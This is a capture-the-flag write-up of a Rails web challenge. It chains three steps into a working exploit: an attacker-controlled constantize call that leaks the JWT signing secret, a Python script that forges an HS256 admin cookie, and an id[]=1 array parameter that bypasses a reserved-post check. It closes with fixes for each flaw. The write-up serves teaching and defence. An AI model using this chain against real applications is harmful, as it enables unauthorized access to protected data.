squ1rrel CTF 2026 — rails Writeup
Three small Rails mistakes chain together: an attacker-controlled constantize leaks the JWT signing secret, the admin middleware accepts any HS256 token signed with it, and an array query parameter defeats the reserved-post check to return the flag.
squ1rrel CTF 2026 — rails
"rails" (Web) is a stock Rails 8 application with a two-route attack surface and one custom Rack middleware. No single line is spectacular, but three ordinary mistakes compose: a dynamic constant lookup, a JWT check that validates the signature but nothing else, and a string comparison that an array walks straight past.
- Event: squ1rrel CTF 2026
- Category: Web
- Stack: Ruby on Rails 8.1, Puma, SQLite
- Flag format:
squ1rrel{...}
1. The application
config/routes.rb exposes exactly two endpoints:
get "show/:resource", to: "show#index"
namespace :admin do
get "posts", to: "posts#index"
endThe show controller turns the path segment into a constant and calls a method on it:
class ShowController < ApplicationController
def index
@resource = params[:resource]
# If you want to add functionality to this endpoint, add
# files in modules/
resource_name = @resource + "Module"
render json: { data: resource_name.constantize.new.show }
end
endThe intended use is modules/*.rb, each defining a SomethingModule with a show method:
class DateModule
def show
Date.today
end
endThe admin controller has a guard that is supposed to hide one specific row:
class Admin::PostsController < ApplicationController
def index
id = params[:id]
if id == "1"
raise "This post is reserved, and cannot be viewed."
end
post = Post.where(id: params[:id]).first
render json: { data: post }
end
endAnd the database is seeded so that the flag lives in row 1:
Post.destroy_all
Post.create!(id: 1, content: ENV["FLAG"] || "test_flag")
Post.create!(id: 2, content: "Check out my blog!")
# ...Everything in show is public. /admin/* is fenced by a middleware (lib/middleware/admin_auth.rb):
def call(env)
request = Rack::Request.new(env)
if request.path.include?("admin")
token = request.cookies['auth']
if token
begin
hmac_secret = JWTSecret.new.show
decoded_token = JWT.decode(token, hmac_secret, true, { algorithm: 'HS256' })
rescue JWT::DecodeError => e
return [401, { 'Content-Type' => 'text/plain' }, ['Invalid or Expired Admin Token']]
end
else
return [401, { 'Content-Type' => 'text/plain' }, ['Missing Admin Authentication Cookie']]
end
end
@app.call(env)
endThree things stand out: the guard runs only when the path contains the substring "admin"; the token is verified with an HMAC secret that comes from a plain Ruby object; and a successful decode is the only requirement — no claim, role, or expiry is inspected.
2. Bug 1 — attacker-controlled constantize leaks the signing secret
resource_name = @resource + "Module" then resource_name.constantize. The suffix is fixed but the prefix is user input, so any constant whose name ends in Module is reachable. config/initializers/misc.rb defines one that should not be:
class JWTModule < JWTSecret; endJWTModule inherits from JWTSecret, whose only public method returns the secret:
class JWTSecret
SECRET = ENV["JWT_SECRET"] || SecureRandom.base64(32).freeze
def show
SECRET
end
endSo GET /show/JWT resolves JWTModule, instantiates it, and calls the inherited show:
GET /show/JWT -> {"data":"OUzeSCqm3qRMxQepGLfWnVFGcDJJUckW/vkAGyvaOaA="}That value is the HMAC key the admin middleware uses on the next request. Requesting a constant that does not exist confirms the lookup is arbitrary (/show/Rails -> 500 NameError, not a 404). The endpoint is also reachable without the cookie, because the middleware only fires for paths containing "admin".
3. Bug 2 — a JWT that is checked for signature only
The middleware signs nothing and authorizes no one; it merely proves the cookie decodes as a valid HS256 JWT under the leaked secret. There is no audience, issuer, role, or exp check, so any payload passes as long as the signature matches. With the leaked key, forging a token is trivial:
import hmac, hashlib, base64, json
s = "OUzeSCqm3qRMxQepGLfWnVFGcDJJUckW/vkAGyvaOaA="
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=')
h = b64(json.dumps({"alg": "HS256", "typ": "JWT"}, separators=(',', ':')).encode())
p = b64(json.dumps({"sub": "admin", "admin": True}, separators=(',', ':')).encode())
sig = b64(hmac.new(s.encode(), h + b'.' + p, hashlib.sha256).digest())
print((h + b'.' + p + b'.' + sig).decode())eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImFkbWluIjp0cnVlfQ.GJHJR5WUpdjWQDJA7P7YYnxj19LZAhGmSCHnnYdyrBISending this as the auth cookie now gets past the middleware. The reserved check is still in the way, but only via a bare string comparison.
4. Bug 3 — array parameter defeats id == "1"
The controller rejects id == "1" and then queries Post.where(id: params[:id]). These two lines disagree about the type of params[:id]. With a normal query string, params[:id] is the string "1" and the guard fires:
GET /admin/posts?id=1 -> 500 (RuntimeError: This post is reserved ...)But Rack parses id[]=1 into an Array. ["1"] == "1" is false, so the guard is skipped, while Active Record happily expands where(id: ["1"]) to id IN ('1') — and returns the reserved row:
GET /admin/posts?id[]=1 -> {"data":{"id":1,"content":"squ1rrel{...}", ...}}A classic parameter type confusion: the check looks at one representation, the query consumes another.
5. The chain end to end
# 1. leak the signing secret
GET /show/JWT
-> {"data":"OUzeSCqm3qRMxQepGLfWnVFGcDJJUckW/vkAGyvaOaA="}
# 2. forge an HS256 admin token with that secret (above)
# 3. present it and bypass the reserved check
GET /admin/posts?id[]=1
Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...GJHJR5WUpdjWQDJA7P7YYnxj19LZAhGmSCHnnYdyrBI
-> {"data":{"id":1,"content":"squ1rrel{fake_flag_for_local_testing}", ...}}Sanity checks along the way: no cookie gives 401 Missing Admin Authentication Cookie; the forged cookie with the plain id=1 still gives 500, proving the array parameter — not the token — is what unlocks the row; id=2..4 return the ordinary seeded posts.
6. Fixing each link
- Never
constantizeuser input. Use an allow-list map ({ "date" => DateModule, ... }) orString#safe_constantizewith a fixed set. Binding a fixed suffix does not make the lookup safe. - Do not expose secrets through generic "render any module" endpoints.
JWTSecret#showis a secret behind a public route; the module pattern made it reachable. - Validate JWT claims, not just the signature. Check
exp,aud,iss, and an explicit role; reject tokens whose algorithm is not the expected one. Signature-valid is not authorization-valid. - Compare types consistently. Cast and normalize before the check (
params[:id].to_s == "1"), or better, useparams.require(:id)semantics and return 404 for anything that is not a plain integer. Never let an array reach an authorization decision. - Scope middleware by exact path, not substring.
path.include?("admin")also matches/foo/adminbar; match a real route prefix instead.
7. Flag
squ1rrel{fake_flag_for_local_testing} # local run; real flag is squ1rrel{...}What do you think?
React to show your appreciation